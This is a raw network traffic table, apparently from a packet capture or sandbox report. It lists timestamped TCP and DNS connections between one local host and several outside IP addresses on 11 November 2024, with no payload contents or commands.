Nov 11, 2024 21:59:08.448086023 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:08.448292971 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:08.448306084 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:08.463207006 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463255882 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463284969 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463323116 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463351965 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463361025 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.463361025 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.463383913 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463399887 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.463907957 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463951111 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.463951111 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.463962078 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.464003086 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.464010954 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.464391947 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.464432001 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.464433908 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.464442015 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.464485884 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.465722084 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.468135118 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.468182087 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.468189001 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.468198061 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.468239069 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.470175028 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.521588087 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.521610022 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.522315979 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.522357941 CET	443	49719	216.58.206.46	192.168.2.5
Nov 11, 2024 21:59:08.522455931 CET	49719	443	192.168.2.5	216.58.206.46
Nov 11, 2024 21:59:08.648091078 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:08.648118019 CET	443	49723	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:08.648206949 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:08.648528099 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:08.648539066 CET	443	49723	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:09.039407015 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.039896011 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.039910078 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.040291071 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.040375948 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.041033983 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.041090965 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.042140961 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.042213917 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.042340994 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.042349100 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.042373896 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.083477020 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.083483934 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.238112926 CET	443	49723	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:09.238821030 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:09.238843918 CET	443	49723	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:09.239182949 CET	443	49723	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:09.239478111 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:09.239535093 CET	443	49723	142.250.185.100	192.168.2.5
Nov 11, 2024 21:59:09.246249914 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.286606073 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:09.288892984 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.288902998 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.313551903 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.313683033 CET	443	49722	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:09.313747883 CET	49722	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:09.394557953 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:09.394583941 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:09.394644022 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:09.398247004 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:09.398274899 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:09.988588095 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:09.988657951 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:09.992742062 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:09.992748976 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:09.993062019 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.034871101 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.049355030 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.091339111 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.185453892 CET	49704	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:10.185775042 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:10.190393925 CET	80	49704	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:10.190604925 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:10.190665960 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:10.190823078 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:10.190853119 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:10.195610046 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:10.195620060 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:10.216738939 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.216814995 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.216892958 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.216954947 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.216975927 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.216990948 CET	49724	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.216995955 CET	443	49724	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.258793116 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.258867979 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.258940935 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.259201050 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.259215117 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.318620920 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.318662882 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.318873882 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.319154024 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.319165945 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.840013981 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.840081930 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.841809988 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.841833115 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.842109919 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.843105078 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:10.871578932 CET	58662	53	192.168.2.5	1.1.1.1
Nov 11, 2024 21:59:10.876378059 CET	53	58662	1.1.1.1	192.168.2.5
Nov 11, 2024 21:59:10.876463890 CET	58662	53	192.168.2.5	1.1.1.1
Nov 11, 2024 21:59:10.876529932 CET	58662	53	192.168.2.5	1.1.1.1
Nov 11, 2024 21:59:10.881285906 CET	53	58662	1.1.1.1	192.168.2.5
Nov 11, 2024 21:59:10.887335062 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:10.934742928 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.934953928 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.934961081 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.935329914 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.935399055 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.936072111 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.936120987 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.936263084 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.936319113 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.936480045 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.936585903 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:10.936590910 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:10.989559889 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:11.009907961 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:11.009972095 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:11.010023117 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:11.010930061 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:11.010957003 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:11.010974884 CET	49730	443	192.168.2.5	184.28.90.27
Nov 11, 2024 21:59:11.010982037 CET	443	49730	184.28.90.27	192.168.2.5
Nov 11, 2024 21:59:11.166807890 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:11.208071947 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:11.208079100 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:11.209212065 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:11.209255934 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:11.209407091 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:11.209408045 CET	443	49731	142.250.185.110	192.168.2.5
Nov 11, 2024 21:59:11.209497929 CET	49731	443	192.168.2.5	142.250.185.110
Nov 11, 2024 21:59:11.291687965 CET	53	58662	1.1.1.1	192.168.2.5
Nov 11, 2024 21:59:11.292311907 CET	58662	53	192.168.2.5	1.1.1.1
Nov 11, 2024 21:59:11.297756910 CET	53	58662	1.1.1.1	192.168.2.5
Nov 11, 2024 21:59:11.297811031 CET	58662	53	192.168.2.5	1.1.1.1
Nov 11, 2024 21:59:11.332182884 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:11.332228899 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:11.481663942 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:11.486462116 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:11.542088032 CET	49723	443	192.168.2.5	142.250.185.100
Nov 11, 2024 21:59:12.180819035 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:12.180907011 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:14.936626911 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:14.936697006 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:14.936752081 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:14.937899113 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:14.937925100 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.005181074 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.005213022 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.005263090 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.049998999 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.050014019 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.457768917 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.457854033 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.499861002 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.499891043 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.500206947 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.514700890 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.559336901 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.621274948 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.621301889 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.621316910 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.621413946 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.621432066 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.621488094 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.687874079 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.687901974 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.687969923 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.687983036 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.688021898 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.688039064 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.702616930 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.702642918 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.702688932 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.702697039 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.702730894 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.702759981 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.768676996 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.768703938 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.768750906 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.768763065 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.768815041 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.768836975 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.770469904 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.770489931 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.770545006 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.770549059 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.770581007 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.770600080 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.772152901 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.772185087 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.772222042 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.772226095 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.772264957 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.772284031 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.780073881 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.786597967 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.786624908 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.786659956 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.786665916 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.786695957 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.786715984 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.792576075 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.792592049 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.793483019 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.793587923 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.795984983 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.796046972 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.796108961 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.819766998 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.839330912 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.849323034 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.849360943 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.849411011 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.849437952 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.849466085 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.849489927 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.850210905 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.850228071 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.850265980 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.850271940 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.850305080 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.850317955 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.851320028 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.851336002 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.851394892 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.851402044 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.851531029 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.852153063 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.852168083 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.852231979 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.852237940 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.852271080 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.853423119 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.853442907 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.853482962 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.853488922 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.853534937 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.854222059 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.854237080 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.854299068 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.854304075 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.854331017 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.854348898 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.865091085 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:15.865103006 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:15.865653992 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.865719080 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:15.865726948 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.865741014 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:15.865777969 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:16.021807909 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:16.021887064 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:16.679572105 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:16.680147886 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:16.680171967 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:16.680402040 CET	58664	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:16.680409908 CET	443	58664	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:16.858824968 CET	58667	443	192.168.2.5	94.245.104.56
Nov 11, 2024 21:59:16.858840942 CET	443	58667	94.245.104.56	192.168.2.5
Nov 11, 2024 21:59:17.063328981 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.063391924 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.063467026 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.143443108 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.143450975 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.143587112 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.143832922 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.143846989 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.242779016 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.242846012 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.243029118 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.289028883 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.289108992 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.289185047 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.289582014 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.289628029 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.289688110 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.289705038 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.299527884 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.299616098 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:17.340137005 CET	58691	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.340186119 CET	443	58691	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.343544960 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.343583107 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.343640089 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.344011068 CET	58693	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.344024897 CET	443	58693	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.456227064 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.456296921 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.456382990 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.467206001 CET	58694	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.467226982 CET	443	58694	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.701997042 CET	49729	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:17.702291965 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:17.709815979 CET	80	49729	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.709829092 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.709904909 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:17.710854053 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:17.711112976 CET	58697	80	192.168.2.5	185.215.113.206
Nov 11, 2024 21:59:17.711895943 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.712142944 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.712168932 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.713291883 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.713356972 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.715184927 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.715246916 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.716283083 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.716609001 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.716767073 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.716775894 CET	80	58697	185.215.113.206	192.168.2.5
Nov 11, 2024 21:59:17.771495104 CET	58686	443	192.168.2.5	18.65.39.56
Nov 11, 2024 21:59:17.771511078 CET	443	58686	18.65.39.56	192.168.2.5
Nov 11, 2024 21:59:17.775652885 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:17.775686026 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:17.775803089 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:17.782515049 CET	58698	443	192.168.2.5	40.126.32.138
Nov 11, 2024 21:59:17.782530069 CET	443	58698	40.126.32.138	192.168.2.5
Nov 11, 2024 21:59:17.804603100 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.804763079 CET	443	58677	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.808537960 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.808568001 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.809070110 CET	58692	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.809076071 CET	443	58692	13.107.246.45	192.168.2.5
Nov 11, 2024 21:59:17.809587955 CET	58677	443	192.168.2.5	13.107.246.45
Nov 11, 2024 21:59:17.809614897 CET	443	58677	13.107.246.45	192.168.2.5
